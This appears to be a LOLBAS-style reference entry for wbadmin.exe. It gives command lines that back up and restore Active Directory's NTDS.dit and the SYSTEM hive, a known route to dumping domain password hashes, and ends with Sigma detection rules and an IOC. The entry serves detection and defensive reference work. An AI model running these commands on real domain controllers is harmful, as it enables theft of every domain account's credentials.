wbadmin.exe
Windows Backup Administration utility
Full path
C:\Windows\System32\wbadmin.exeCommands
Snapshoting of Active Directory NTDS.dit database
wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quietExtract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)
os: Windows Server
Dumping of Active Directory NTDS.dit database
wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quietRestore a version of NTDS.dit and SYSTEM hive into file path. The command
wbadmin get versionscan be used to find version identifiers.os: Windows Server
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml
- Sigma https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_file.yml
- Sigma https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_sensitive_files.yml
- IOCwbadmin.exe command lines containing "NTDS" or "NTDS.dit"